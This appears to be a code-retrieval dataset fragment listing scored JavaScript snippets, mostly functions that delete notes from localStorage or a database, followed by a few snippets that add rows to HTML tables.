"3647588b5346b4550afc2cc21586e4dc", "score": "0.6601895", "text": "function deleteNote(index) {\n console.log(\"I am deleting\", index);\n let notes = localStorage.getItem(\"notes\");\n if (notes == null) {\n notesArr = [];\n } else {\n notesArr = JSON.parse(notes);\n }\n notesArr.splice(index, 1);\n localStorage.setItem(\"notes\", JSON.stringify(notesArr));\n showNotes();\n}", "title": "" }, { "docid": "8a91bc2e3f3a79a87807f2d019a431fb", "score": "0.6583197", "text": "function handleDeleteButtonClick() {\n openDeleteDialog();\n }", "title": "" }, { "docid": "fd78dd6f6bf596e2d7722c91030fe4c2", "score": "0.6581469", "text": "_onDeleteClicked() {\n if (this.model.get('canDelete')) {\n this.model.deleteComment();\n this.close();\n }\n }", "title": "" }, { "docid": "276f7352ddfafa4ac1f73a2608af8042", "score": "0.6581164", "text": "function deleteNote(index)\r\n{\r\n let notes = localStorage.getItem(\"notes\");\r\n if (notes == null) {\r\n notesObj = [];\r\n }\r\n else {\r\n notesObj = JSON.parse(notes);\r\n }\r\n notesObj.splice(index,1);\r\n localStorage.setItem(\"notes\", JSON.stringify(notesObj));\r\n showNotes();\r\n}", "title": "" }, { "docid": "1165ef5e9c265538b030269519e1866e", "score": "0.6576474", "text": "async function deleteNote ( id )\n{\n try\n {\n // TODO: Delete note from notes collection\n\n // Move away from note view\n viewCreateNote()\n alert( \"Note deleted :(\" )\n }\n catch ( error )\n {\n alert( \"Error deleting note, check console\" )\n console.log( error )\n }\n}", "title": "" }, { "docid": "fa147e718635d7958ff918b031dd2b1d", "score": "0.65722084", "text": "function deleteNote(index){\r\n // console.log(\"i am deleting\" , index);\r\n\r\n let notes = localStorage.getItem(\"notes\");\r\n if(notes == null)\r\n {\r\n notesObj = [];\r\n }\r\n else\r\n {\r\n notesObj = JSON.parse(notes);\r\n }\r\n\r\n notesObj.splice(index,1);\r\n localStorage.setItem(\"notes\" , JSON.stringify(notesObj));\r\n showNotes();\r\n}", "title": "" }, { "docid": "df9e50e0225d7a8108cbc8173a1401c4", "score": "0.65682817", "text": "function deleteItemNote(which, id, actionUrl)\n{\n // replace current note with spinner while doing AJAX\n $('#'+id).html('<i class=\"fa fa-spinner fa-spin fa-fw\"></i>');\n\n $.post(\n actionUrl,\n {\n 'id' : id,\n 'value' : '_'\n })\n .done(\n function(data) {\n // remove old text from note element\n $('#'+id).html('');\n // remove the link that triggered this function\n $('#'+which+'-notes-erase-link').hide();\n }\n );\n}", "title": "" }, { "docid": "e43fc13d8f33d2689510983d12a68273", "score": "0.6564086", "text": "function deleteNote(lol) {\r\n // console.log(\"deleting data \" + lol);\r\n let notes = localStorage.getItem(\"notes\");\r\n if (notes == null) {\r\n notesObj = [];\r\n } else {\r\n notesObj = JSON.parse(notes);\r\n }\r\n notesObj.splice(lol, 1);\r\n localStorage.setItem(\"notes\", JSON.stringify(notesObj));\r\n displayNotes();\r\n}", "title": "" }, { "docid": "fb97a150df275fc5f8254e831af67067", "score": "0.6557375", "text": "function deleteTodo (){\n todos.splice(position, 1);\n displayTodos();\n }", "title": "" }, { "docid": "713c36e9c7b059a71f0bded140971b40", "score": "0.65565705", "text": "function deleteNote(index) {\r\n console.log('Delete this note' + ' ' + String(index));\r\n\r\n let notes = localStorage.getItem(\"notes\");\r\n if (notes == null) {\r\n notesArray = [];\r\n }\r\n else {\r\n notesArray = JSON.parse(notes);\r\n\r\n }\r\n\r\n notesArray.splice(index, 1);\r\n\r\n // update local storage\r\n\r\n localStorage.setItem(\"notes\", JSON.stringify(notesArray));\r\n showNotes();\r\n}", "title": "" }, { "docid": "bddf3f2842ceabf8236f9c7888b92a3c", "score": "0.65565544", "text": "function deleteNote(index){\r\n console.log('i am deleting'+ index)\r\n\r\n if (notes == null) {\r\n notesobj = [];\r\n }\r\n else {\r\n //notesobj = JSON.parse(notes);\r\n }\r\n notesobj.splice(index,1);\r\n localStorage.setItem(\"notes\", JSON.stringify(notesobj));\r\n showNotes();\r\n}", "title": "" }, { "docid": "bcc2888e36ffbcbaa18cc76057851402", "score": "0.6544554", "text": "function handleDelete(id) {\n setNotes((prevInfo) => {\n return prevInfo.filter((note, index) => {\n return index !== id;\n });\n });\n }", "title": "" }, { "docid": "68cf61c7b3df017c1d19f0409da75406", "score": "0.6537772", "text": "function deleteNote(index) {\n let notes = localStorage.getItem('notes');\n if (notes == null) {\n notesObj = [];\n }\n else {\n notesObj = JSON.parse(notes);\n }\n notesObj.splice(index, 1);\n localStorage.setItem('notes', JSON.stringify(notesObj));\n showNote();\n}", "title": "" }, { "docid": "f921e6c04cf749b48427fd98594f157b", "score": "0.65309733", "text": "function deleteNote() {\r\n $(document).on('click', '.trash', function () { // Probably not optimal, the only way I could find a workable solution.\r\n var nameOfTask = $(this).closest('tr').remove();\r\n //var nameOfTask = $(this).parent('tr').clone().children().remove().end().text().trim();\r\n var index = notes.notes.indexOf(nameOfTask);\r\n notes.notes.splice(index,1);\r\n localStorage.setItem('notes', JSON.stringify(notes));\r\n });\r\n}", "title": "" }, { "docid": "9ebaa0c406852d7e7acf070f1c658abd", "score": "0.6527941", "text": "function deleteNote(index) {\n let notes = localStorage.getItem(\"notes\");\n if (notes == null) {\n notesObj = [];\n }\n else {\n notesObj = JSON.parse(notes);\n }\n notesObj.splice(index, 1);\n localStorage.setItem(\"notes\", JSON.stringify(notesObj));\n showNotes();\n}", "title": "" }, { "docid": "ef205b59a6fece8b5c2169762d83a715", "score": "0.6527001", "text": "function deleteNote(index){\n let notesCollection = localStorage.getItem(\"notes\");\n \n if(notesCollection === null){\n notesObj = [];\n \n } \n else{\n notesObj = JSON.parse(notesCollection);\n \n }\n notesObj.splice(index,1);\n \n localStorage.setItem(\"notes\",JSON.stringify(notesObj));\n \n showNotes();\n}", "title": "" }, { "docid": "37e21d4b9fed52598b677610b8f21a8e", "score": "0.65241736", "text": "function deleteNote(id) {\r\n setNotes((prevNotes) => {\r\n return prevNotes.filter((noteItem, index) => {\r\n return index !== id;\r\n });\r\n });\r\n }", "title": "" }, { "docid": "87812b6e6afc695b0de89e33297cd020", "score": "0.6523788", "text": "function deleteNote(index) {\r\n let notes = localStorage.getItem('notes');\r\n let notesObj;\r\n if (notes == null) {\r\n notesObj = [];\r\n } else {\r\n notesObj = JSON.parse(notes);\r\n }\r\n notesObj.splice(index, 1);\r\n notes = localStorage.setItem('notes', JSON.stringify(notesObj));\r\n showNotes();\r\n}", "title": "" }, { "docid": "c7518f6a213fdc432a3e508de175667d", "score": "0.6522447", "text": "function deleteNote(index) {\n let notes = localStorage.getItem(\"notes\");\n if (notes == null) {\n notesObj = [];\n } else {\n notesObj = JSON.parse(notes);\n }\n notesObj.splice(index, 1);\n localStorage.setItem(\"notes\", JSON.stringify(notesObj));\n showNotes();\n}", "title": "" }, { "docid": "3e7008aab4c4207f48625105bf27dde8", "score": "0.6521426", "text": "function deleteNote(index){\n console.log(\"i'm deleting\", index);\n\n let notes = localStorage.getItem(\"notes\");\n if (notes == null) {\n notesObj = [];\n }\n else {\n notesObj = JSON.parse(notes);\n }\n notesObj.splice(index,1);\n localStorage.setItem(\"notes\", JSON.stringify(notesObj));\n showNotes();\n}", "title": "" }, { "docid": "350c70109b49294d88b17bf9973a8e55", "score": "0.6511432", "text": "function deleteNote(index)\n{\n //console.log(\"I am deleting a node\", index);\n var notes = localStorage.getItem(\"notes\");\n if (notes == null) {\n notesObj = [];\n }\n else {\n notesObj = JSON.parse(notes);\n }\n notesObj.splice(index, 1);\n localStorage.setItem(\"notes\", JSON.stringify(notesObj));\n showNotes();\n}", "title": "" }, { "docid": "4bb0f3a14cfa87f81db771e5ccb07d80", "score": "0.650855", "text": "function deleteItem(e) {\r\n\r\n}", "title": "" }, { "docid": "0a20fb9b9fed832feac977821e82f958", "score": "0.6503918", "text": "function deleteNote(index) {\n\n let notes = localStorage.getItem(\"notes\");\n if (notes == null) {\n notesObj = [];\n } else {\n notesObj = JSON.parse(notes);\n }\n\n notesObj.splice(index, 1);\n localStorage.setItem(\"notes\", JSON.stringify(notesObj));\n showNotes();\n}", "title": "" }, { "docid": "c4aef71c8d770e14813fafb3f820ba56", "score": "0.65038526", "text": "deleteNote(knex, id) {\n return knex(\"notes\").where(\"noteid\", id).delete();\n }", "title": "" }, { "docid": "c6b16afc93228ca9560ed8b7be144de2", "score": "0.64976424", "text": "function deleteNote(index) {\n let notes = localStorage.getItem(\"notes\");\n\n if (notes == null) notesObj = [];\n else notesObj = JSON.parse(notes);\n\n notesObj.splice(index, 1);\n\n localStorage.setItem(\"notes\",\n JSON.stringify(notesObj));\n\n showNotes();\n}", "title": "" }, { "docid": "0ab02a9959e78d4dde9c189c5fbc75b6", "score": "0.6487808", "text": "function deleteDoc() {\n \n const deleteBtns = document.querySelectorAll('.delete')\n deleteBtns.forEach( (element, key) => {\n element.addEventListener('click', function (event) {\n controller.delDoc(key)\n }) \n })\n\n }", "title": "" }, { "docid": "ca639e3d21b76f54831d652b9f0cab90", "score": "0.6484594", "text": "static async delete(token, noteID, req, rep) {\n const verified = await verify(token);\n if(!verified) return rep.response('Could not verify the current user.').code(401);\n const uid = verified.uid;\n\n // Find the note in the database.\n const fireRef = firebase.database().ref();\n const ref = firebase.database().ref(`/${uid}/${noteID}`);\n\n // Remove the note from its notebook.\n const database = (await fireRef.orderByKey().equalTo(uid).once('value')).val();\n const everything = Object.values(database[uid]);\n const notebooks = everything.filter(val => val.pages);\n \n // Go through each note, and delete it one by one.\n notebooks.forEach(async notebook => {\n await fireRef.child(uid).child(notebook.id).once('value', snap => {\n const notebook = snap.val();\n if(!notebook.pages) return;\n \n const index = notebook.pages.indexOf(noteID);\n if(index >= 0) {\n notebook.pages.splice(index, 1);\n fireRef.child(uid).child(notebook.id).set({ ...notebook, pages: notebook.pages });\n }\n });\n });\n \n // Delete the note from the database.\n if(!ref) return rep.response('Note couldn\\'t be found, so it was not deleted.').code(200);\n try {\n await ref.remove();\n return true;\n } catch(err) {\n return rep.response(''+err).code(204);\n }\n }", "title": "" }, { "docid": "d71077bedf53717adf25a56782f9497c", "score": "0.6472946", "text": "function deleteNote(id) {\r\n \r\n notes = notes.filter(item => {\r\n return item.id != id;\r\n });\r\n \r\n addToLocalStorage(notes);\r\n}", "title": "" }, { "docid": "717d629be51c899f9c32edf18d7005f3", "score": "0.64719456", "text": "function delnote(index) {\n let notes = localStorage.getItem(\"notes\")\n if (notes == null) {\n notes_object = []\n }\n else {\n notes_object = JSON.parse(notes)\n }\n notes_object.splice(index, 1)\n localStorage.setItem(\"notes\", JSON.stringify(notes_object))\n showNotes()\n}", "title": "" }, { "docid": "a89c14f3e2bd168c4ec03d85af923ac2", "score": "0.647053", "text": "function deleteNote(index) {\n let notes = localStorage.getItem('notes');\n let titles = localStorage.getItem('titles');\n if(notes == null && titles == null) {\n notesObj = [];\n titlesObj = [];\n }\n else{\n notesObj = JSON.parse(notes);\n titlesObj = JSON.parse(titles);\n }\n\n notesObj.splice(index, 1); \n titlesObj.splice(index, 1); \n localStorage.setItem('notes', JSON.stringify(notesObj)); //updating the object in localStorage\n localStorage.setItem('titles', JSON.stringify(titlesObj)); //updating the object in localStorage\n\n showNotes(); //to update 'Your Notes' after deleting\n}", "title": "" }, { "docid": "8902e04bf1b33ee6cfd533fe0e0f7bf7", "score": "0.6425938", "text": "function deleteNote(index){\n //console.log(\"deleting this note\", index);\n let notes= localStorage.getItem(\"notes\");\n let titles= localStorage.getItem(\"titles\");\n if(notes==null){\n notesTitleObj=[];\n notesObjForArray=[];\n }else{\n notesTitleObj= JSON.parse(titles);\n notesObjForArray= JSON.parse(notes);\n }\n notesTitleObj.splice(index+1);\n notesObjForArray.splice(index,1);\n localStorage.setItem(\"titles\", JSON.stringify(notesTitleObj));\n localStorage.setItem(\"notes\", JSON.stringify(notesObjForArray));\n showNotes();\n}", "title": "" }, { "docid": "1aa6aa40f11906efe85096d876f45f00", "score": "0.6413202", "text": "function deleteNote(index) {\r\n let notes = localStorage.getItem(\"notes\");\r\n let important = localStorage.getItem(\"important\");\r\n let title = localStorage.getItem(\"title\");\r\n notesArray = JSON.parse(notes);\r\n important = JSON.parse(important);\r\n title = JSON.parse(title);\r\n notesArray.splice(index, 1);\r\n title.splice(index, 1);\r\n important.splice(index, 1);\r\n localStorage.setItem(\"notes\", JSON.stringify(notesArray));\r\n localStorage.setItem(\"title\", JSON.stringify(title));\r\n localStorage.setItem(\"important\", JSON.stringify(important));\r\n displayNotes();\r\n}", "title": "" }, { "docid": "dcbef3962ac6fcbc0795c5a079f8542f", "score": "0.6412729", "text": "function removeNote(e) {\n if (e.target.classList.contains(\"remove-note\")) {\n e.target.parentElement.remove();\n }\n\n // also remove the note from local stroage\n removeNoteLocalStorage(e.target.parentElement.textContent);\n}", "title": "" }, { "docid": "1d54be0d92c6445d8e5f749d3191d64f", "score": "0.6379857", "text": "function delNoteAlert() {\n let confirmDel = window.confirm('Are you sure you want to delete note ?');\n if (confirmDel) {\n delNote()\n }\n}", "title": "" }, { "docid": "7f5378367af9e98d07b29be8698673b7", "score": "0.63747597", "text": "deleteNote() {\n localStorage.removeItem(this.id);\n this.parentNode.removeChild(this);\n }", "title": "" }, { "docid": "29305d16f8123a99383b23110379fded", "score": "0.6374333", "text": "function handleDelete() {\n\n\n }", "title": "" }, { "docid": "15543ce5f5cb9a94c073400c948fd13f", "score": "0.63716686", "text": "function askBeforeDelete() {\n if (window.confirm(\"Would you like to delete this note?\")) {\n deleteNote(noteIndex, boardIndex);\n }\n }", "title": "" }, { "docid": "addb8d6762f7d2c5efeba8dafa4d06e5", "score": "0.63698256", "text": "function deleteNotefunction(index) {\n let notes = localStorage.getItem(\"notes\"); // getting notes item stored in local storage\n let title = localStorage.getItem(\"title\"); // getting Title item stored in local storage\n let importantCheckbox = localStorage.getItem(\"important\"); // getting Checkbox item stored in local storage\n notesArray = JSON.parse(notes); // storing that item in variable array by converting it to array\n titleArray = JSON.parse(title);\n checkBoxArray = JSON.parse(importantCheckbox);\n notesArray.splice(index, 1); // deleted item , from the array,, by providing it a starting index, which users click\n titleArray.splice(index, 1);\n checkBoxArray.splice(index, 1);\n localStorage.setItem(\"notes\", JSON.stringify(notesArray)); //Again updating the local storage\n localStorage.setItem(\"title\", JSON.stringify(titleArray));\n localStorage.setItem(\"important\", JSON.stringify(checkBoxArray));\n showNotesfunction(); // again calling the Show notes function to referesh the page markup, and show updated notes\n}", "title": "" }, { "docid": "b780e84adf6ddbcf9dfd43c1c58004bc", "score": "0.63570213", "text": "function deleteNote(noteId) {\n setNotes(notes.filter((note, indx) => {\n return indx !== noteId;\n }));\n }", "title": "" }, { "docid": "1807b2f041d0be1b0bc37f4fa54b6dde", "score": "0.63548744", "text": "function removeNote(e) {\r\n //delegacion de evento pregunta si el target del click fue en el link con la clase remove-note\r\n if (e.target.classList.contains('remove-note')) {\r\n //elimina el padre del link donde se hace click\r\n e.target.parentElement.remove();\r\n removeNoteFromLocalstorage(e.target.parentElement.textContent);\r\n }\r\n}", "title": "" }, { "docid": "b5acd15d81850cc552cd8c11b971075d", "score": "0.6351507", "text": "function deleteANote(req, res) {\n console.log(\"im in deleteANote\");\n Articles.findByIdAndUpdate(req.params.id, {\n $pull: {\"notes\": req.body.note},\n new: true,\n multi: false\n }).then(function (data) {\n res.render(\"saved\", {\n notes: data.notes\n });\n }).catch(function (err) {\n console.log(`There was a DB error - deleteANote: ${err}`);\n res.status(500).send(\"A Server Error Occurred\");\n });\n}", "title": "" }, { "docid": "b323d2d931483a5191ce8cafb0ad2547", "score": "0.63512194", "text": "function renderNotes() {\n const ul = document.querySelector(\"#notes\");\n ul.innerHTML = \"\";\n notes.forEach( (note, index) => {\n // Create the note LI\n const li = document.createElement(\"li\");\n li.innerHTML = note;\n // Delete element for each note\n const deleteButton = document.createElement(\"a\");\n deleteButton.innerHTML = '<span class=\"icon\">delete</span>';\n deleteButton.addEventListener(\"click\", event => {\n if (confirm(\"Do you want to delete this note?\")) {\n notes.splice(index, 1);\n renderNotes();\n }\n });\n li.appendChild(deleteButton);\n ul.appendChild(li);\n })\n}", "title": "" }, { "docid": "840d0df7f2535b1c08d2eb978f195da3", "score": "0.63328624", "text": "function dNote(index) {\n let notes = localStorage.getItem(\"notes\");\n if (notes == null) {\n notesObj = [];\n } else {\n notesObj = JSON.parse(notes);\n }\n notesObj.splice(index, 1); // first argument starting and sec is how many nodes\n localStorage.setItem(\"notes\", JSON.stringify(notesObj));\n showNotes();\n // console.log(\"iam deleteing\",index)\n}", "title": "" }, { "docid": "90a26b4e1415fca89915d92af785134e", "score": "0.6329508", "text": "deleteNote(knex, note_id) {\n return knex('notes')\n .where({ note_id })\n .update({ active: 0 });\n }", "title": "" }, { "docid": "67abaff95eac9253c032cffa92f712f9", "score": "0.6326927", "text": "function deleteNote(index) {\n //load all notes from local storage\n const allTasks = loadTasks();\n //delete the note\n allTasks.splice(index, 1);\n //clear previous data:\n taskContainer.innerHTML = \"\";\n // Save the new array back to local storage: \n allTasksJsonString = JSON.stringify(allTasks);\n localStorage.setItem(\"allTasks\", allTasksJsonString);\n displayAllTasks();\n\n}", "title": "" }, { "docid": "39c7d353065e96ef4f5baf3c04a4dc54", "score": "0.6321793", "text": "function deleteNote(id) {\r\n // getting all the books as a string \r\n let book = localStorage.getItem(\"books\");\r\n let localBookObj;\r\n // if no book is not present because, user can only delete a book when it is present in library, otherwise delete option would not be there \r\n // converting book string into the object \r\n localBookObj = JSON.parse(book);\r\n\r\n // deleting the element with given id, using splice function \r\n localBookObj.splice(id, 1);\r\n // storing back again in the form of string in the local storage \r\n localStorage.setItem(\"books\", JSON.stringify(localBookObj));\r\n // again calling add or you can say that display function so that books can be displayed again \r\n display.add();\r\n}", "title": "" }, { "docid": "ac32c3aa7a70699c68af46b7574b51d1", "score": "0.6315574", "text": "deleteBtnHandler() {\n\t\talert(`Anda memencet tombol Delete`);\n\t}", "title": "" }, { "docid": "8f3a535b9dfd20a05bfee7404ea0a761", "score": "0.62902623", "text": "function deleteNote(notes, id) {\n const index = notes.findIndex(note => note.id == parseInt(id));\n notes.splice(index, 1); // removes current data entry\n\n // store to JSON File\n saveToFile(notes);\n\n return notes;\n}", "title": "" }, { "docid": "e1799dbd546e6371c8378d124f441860", "score": "0.62874675", "text": "removeItem() {\n const userResponse = confirm('Are you sure you want to delete this note?')\n if (userResponse == true) {\n const dbRef = firebaseBase.ref(`${this.props.userID}/animal/${this.props.petKey}/comments/${this.props.noteKey}`);\n dbRef.remove();\n }\n else {\n return null;\n }\n }", "title": "" }, { "docid": "96c1c1c5bcb3d4d777c0ed2db16fb607", "score": "0.6281325", "text": "static deleteClick(event)\n {\n if(ArchiveScreen.currentTask != null)\n {\n taskList.deleteTask(ArchiveScreen.currentTask);\n ArchiveScreen.currentTask = null;\n }\n\n ArchiveScreen.updateTable();\n\n BackupRestoreScreen.saveDataToLocalStorage(passPhrase);\n\n }", "title": "" }, { "docid": "ff4ef2107fb7c32b27e06ba4517c4b7f", "score": "0.6272029", "text": "function deleting() {\n transition(DELETE, true);\n props\n .cancelInterview(props.id)\n .then(() => {\n transition(EMPTY);\n })\n .catch(() => {\n transition(ERROR_DELETE, true);\n });\n }", "title": "" }, { "docid": "089b72b702b1384599daa75989b73f7a", "score": "0.6254615", "text": "function handleDeleteClick(){\n\n}", "title": "" }, { "docid": "d379a7b755cb928757819a451807a663", "score": "0.6250877", "text": "onNoteDelete(note) {\n console.log(note);\n this.setState((state) => {\n const notes = state.notes.filter(({id}) => {\n return id !== note.id;\n });\n\n return {\n notes\n }\n })\n }", "title": "" }, { "docid": "e41ae3d116b0b0c8d7a40f552b2bc955", "score": "0.6243977", "text": "function handleDelete() {\n for (let i = 0; i < data.entries.length; i++) {\n const current = data.entries[i];\n // eslint-disable-next-line eqeqeq\n if (current.entryId == data.editing) {\n data.entries.splice(i, 1);\n break;\n }\n }\n const $deletedEntry = document.querySelector(`[data-entry-id='${data.editing}']`);\n data.editing = null;\n $deletedEntry.remove();\n $confirm.close();\n swapView('entries');\n $entryForm.reset();\n}", "title": "" }, { "docid": "6970c4107a5f80dc82f268fb36287acf", "score": "0.62397623", "text": "function clickDelete(){\n\t\t$(\"span.new.badge\").click(function () {\n\t\t\tsendData = {\n\t\t\t\t_id : $(this).attr(\"id\")\n\t\t\t};\n\t\t\t$.post(\"/deleteentry\", sendData, function(data){\n\t\t\t\tif (data.success === true){\n\t\t\t\t\tMaterialize.toast('Deleted', 1000);\n\t\t\t\t\tsocket.emit('month', g_Month(g_Switch));\n\t\t\t\t} else {\n\t\t\t\t\tMaterialize.toast('There was an error', 4000);\n\t\t\t\t}\n\t\t\t});\t\t\t\n\t\t});\n\t}", "title": "" }, { "docid": "0521844a4b3efb1f0436e9d883d8a107", "score": "0.62377244", "text": "function postNote(event) {\n\tevent.preventDefault();\n\n\tvar articleId = $('li').data('id');\n\tvar text = {\n\t\tnoteText: $('.noteText').val()\n\t};\n\tvar $note = $('<p>').text($('.noteText').val());\n\t$.post('/article/' + articleId, text).done(function(data) {\n\t\t$note.append($('<button class=\"delete\" data-id = ' + data._id + '>' + 'Delete' + '</button>'))\n $('.displayNote').append($note);\n\n\t})\n\t$('.noteText').val('');\n}", "title": "" }, { "docid": "45bcc8c68ad87e47713e469661bf77f5", "score": "0.62357527", "text": "function Note(props) {\n return (\n <div className=\"note\">\n <h1>{props.title}</h1>\n <p>{props.content}</p>\n <button onClick={() => props.deleteNote(props.id)}>DELETE</button>\n </div>\n );\n}", "title": "" }, { "docid": "c4360cd95f915e0f6bbea5e575d76cb9", "score": "0.622657", "text": "function deleteNote() {\n for (let i = 0; i < noteListArray.length; i++) {\n if (noteListArray[i].id == activeObjId) {\n\n if (noteListArray.length > 1 && i == noteListArray.length - 1) {\n viewNote(noteListArray[i - 1]);\n } else if (noteListArray.length > 1) {\n viewNote(noteListArray[i + 1]);\n }\n\n let noteItem = document.querySelector([`[data-id=\"${noteListArray[i].id}\"]`]);\n noteItem.remove();\n\n noteListArray.splice(i, 1);\n localStorage.setItem(\"noteListKey\", JSON.stringify(noteListArray));\n }\n }\n if (noteListArray.length == 0) {\n localStorage.removeItem(\"noteListKey\");\n newNote();\n }\n}", "title": "" }, { "docid": "4ab30851e8d0c63538719290a4fb8d5a", "score": "0.62186116", "text": "function deleteNote(id) {\n $.ajax({\n method: \"DELETE\",\n url: \"/api/contact/\" + id\n })\n .then(function() {\n console.log(\"done\");\n location.reload()\n });\n }", "title": "" }, { "docid": "01e9b0f1110203b043fff06f0e44652a", "score": "0.6217982", "text": "function deleteNote(j) {\n\n var db = LocalStorage.openDatabaseSync(\"DraftmapDB\", \"1.0\", \"Draft map database\", 1000000);\n\n db.transaction(\n function(tx) {\n // Create the table, if not existing\n tx.executeSql('CREATE TABLE IF NOT EXISTS Notes (title TEXT, noteTitle TEXT, note TEXT, latti REAL, longi REAL, stackheight INTEGER, fonnt INTEGER, opacit REAL, UNIQUE(latti,longi,stackheight))');\n tx.executeSql('DELETE FROM Notes WHERE latti=? AND longi=? AND stackheight=?', [notesInfo.get(j).latti, notesInfo.get(j).longi, notesInfo.get(j).stackheight]);\n }\n )\n}", "title": "" } ]
0a626bf4c8cf6bab36887ea1604b8827
Adding Data Into Table
[ { "docid": "e565b0bab016bade130a9839b04cd803", "score": "0.6764681", "text": "function AddItemsToTable1(\r\n Team1,\r\n Team2,\r\n Date,\r\n Month,\r\n Time,\r\n Zone,\r\n ) {\r\n var t = $(\"#dataTable\").DataTable();\r\n t.row\r\n .add([\r\n ++stdNo1,\r\n Team1,\r\n Team2,\r\n Date,\r\n Month,\r\n Time,\r\n Zone\r\n ])\r\n .draw(false);\r\n }", "title": "" } ]
[ { "docid": "b0d3c16d72c8a1f169942c94afe9c5cf", "score": "0.78129005", "text": "function addtable() {\n tbody.html(\"\");\n console.log(`There are ${tableDatashape.length} records in this table.`);\n console.log(\"----------\");\n tableDatashape.forEach(function(sighting) {\n var row = tbody.append(\"tr\");\n Object.entries(sighting).forEach(function([key, value]) {\n var cell = row.append(\"td\");\n cell.text(value);\n });\n });\n }", "title": "" }, { "docid": "0474bb732820a38e29c6a103cca1c744", "score": "0.73177737", "text": "function appendTable(tableData) {\n tableData.map((ufo) => {\n \n //reference for table body to add row\n var row =d3.select('tbody').append('tr');\n\n //populate table rows\n Object.values(ufo).forEach((detail)=> {\n \n row.append('td').text(detail);\n });\n \n });\n}", "title": "" }, { "docid": "1250381c7f16a41dfebcca709ef93934", "score": "0.7299824", "text": "function addData(data){\n //empty table body\n tabelebody.text(\"\")\n //pick each key value pair from data file and add to table\n data.forEach(function(sights) {\n new_row = tabelebody.append(\"tr\")\n Object.entries(sights).forEach(function([key, value]){\n new_cell = new_row.append(\"td\").text(value)\n })\n })\n}", "title": "" }, { "docid": "bbf793062f2c6df3f169ec253182378b", "score": "0.7196686", "text": "function insertData(data, table){\n for(var i =0; i < data.length; i++){\n var row = table.insertRow(i+1);\n var lineCell = row.insertCell(tableColsEnmt.Line);\n var typeCell = row.insertCell(tableColsEnmt.Type);\n var nameCell = row.insertCell(tableColsEnmt.Name);\n var conditionCell = row.insertCell(tableColsEnmt.Condition);\n var valueCell = row.insertCell(tableColsEnmt.Value);\n lineCell.innerHTML = data[i]['Line'];\n typeCell.innerHTML = data[i]['Type'];\n nameCell.innerHTML = data[i]['Name'];\n conditionCell.innerHTML = data[i]['Condition'];\n valueCell.innerHTML = data[i]['Value'];\n }\n}", "title": "" }, { "docid": "5993953b22682c2ac764efcae8db69be", "score": "0.7161525", "text": "function inserTable(data){\n data.forEach(d=> {\n var row = tbody.append(\"tr\");\n Object.entries(d).forEach(([key,value])=> {\n var cell = row.append(\"td\");\n cell.text(value);\n });\n });\n}", "title": "" }, { "docid": "db2769df3c374df93942835ca4ed1db8", "score": "0.7124973", "text": "function init() {\n// Send table data to HTML to show populated table\n var addData = (dataInput) => {\n dataInput.forEach(ufoSightings => {\n var row = tablecontent.append(\"tr\");\n columns.forEach(column => row.append(\"td\").text(ufoSightings[column])\n )\n });\n }\n addData(tableData);\n // console.log(tableData)\n}", "title": "" }, { "docid": "c73aceb8cc5c0aea30b4b35ebc78b809", "score": "0.71156085", "text": "function addToTable(table, data) {\n tr_data = \"\";\n data.forEach(function (td) {\n tr_data = tr_data + `<td>${td}</td>`;\n });\n\n var new_row = $('<tr>').html(tr_data);\n new_row.hide();\n $(table).find('tbody').append(new_row);\n new_row.fadeIn();\n}", "title": "" }, { "docid": "18a3ffb0467a3872698f2e21908326d2", "score": "0.7108956", "text": "insertRow() {\n let dataArr = Object.values(this.obj);\n dataTable.rows().add(dataArr);\n }", "title": "" }, { "docid": "9a00b5b90c5864775870ed2b491f46ee", "score": "0.7076016", "text": "function addData(dataInput) {\n dataInput.forEach(ufoSighting => {\n var row = tbody.append(\"tr\");\n columns.forEach(column => row.append(\"td\").text(ufoSighting[column])\n );\n });\n}", "title": "" }, { "docid": "53c0d5b7bfffd4cfe12c09a9db07ab82", "score": "0.6998299", "text": "function createTableData(doc) {\r\n $(\".train-table\").append(\r\n \"<tr id= '$trId'><td id='name-col'>\" + doc.name +\r\n \"<td id='destination-col'>\" + doc.destination + \"</td></tr>\");\r\n\r\n }", "title": "" }, { "docid": "0c6ba4ed03f98cf56b7a31c8d3292124", "score": "0.6925846", "text": "function populatetoTable(inputData) {\n for (var i of inputData) {\n let {\n _f_firstname: firstname,\n _f_lastname: lastname,\n _f_fathername: fathername,\n _f_gender: gender,\n _f_course: course,\n _f_address: address,\n _f_city: city,\n _f_state: state,\n _f_pincode: pincode,\n _f_emailid: emailid,\n _f_password: password,\n _f_dob: dob,\n _f_mobile_no: mobile_no,\n } = i;\n appendrowToTable(firstname, lastname, fathername, gender, course, address, city, state, pincode, emailid, password, dob, mobile_no);\n }\n }", "title": "" }, { "docid": "060e577be166a8fad8687383b1703ffd", "score": "0.69249916", "text": "function addRow(tableID, data) {\n let newRow = tableID.insertRow(-1);\n \n \n let newCell0 = newRow.insertCell(0);\n let newText0 = document.createTextNode(data.id);\n newCell0.appendChild(newText0);\n\n let newCell1 = newRow.insertCell(1);\n let newText1 = document.createTextNode(data.amount);\n newCell1.appendChild(newText1);\n\n let newCell2 = newRow.insertCell(2);\n let newText2 = document.createTextNode(data.type.type);\n newCell2.appendChild(newText2);\n\n let newCell3 = newRow.insertCell(3);\n let newText3 = document.createTextNode(data.description);\n newCell3.appendChild(newText3);\n\n let newCell4 = newRow.insertCell(4);\n var date4 = new Date(data.submitted);\n let newText4 = document.createTextNode(date4);\n newCell4.appendChild(newText4);\n\n let newCell5 = newRow.insertCell(5);\n let newCell6 = newRow.insertCell(6);\n if(data.resolver === null) {\n let newText5 = document.createTextNode(\" \");\n newCell5.appendChild(newText5);\n\n let newText6 = document.createTextNode(\" \");\n newCell6.appendChild(newText6);\n } else {\n let newText5 = document.createTextNode(data.resolver.firstName + \" \" + data.resolver.lastName);\n newCell5.appendChild(newText5);\n\n var date6 = new Date(data.resolved);\n let newText6 = document.createTextNode(date6);\n newCell6.appendChild(newText6);\n }\n\n let newCell7 = newRow.insertCell(7);\n let newText7 = document.createTextNode(data.status.status);\n newCell7.appendChild(newText7);\n }", "title": "" }, { "docid": "1a6669a7e7db069530ab7ce399b644cb", "score": "0.6917038", "text": "function initTable() {\n tableData.forEach((sighting) => {\n var row = tbody.append(\"tr\");\n\n Object.entries(sighting).forEach(([key, value]) => {\n var cell = row.append(\"td\");\n cell.text(value);\n });\n });\n}", "title": "" }, { "docid": "8a5c89d44bd1009fad10d86cbf135328", "score": "0.6913294", "text": "function table(data) {\n var table = new Table({\n head: ['Department Id#', 'Department Name', 'Overhead Costs', 'Department Sales', 'Total Profit'],\n style: {\n head: ['blue'],\n compact: false,\n 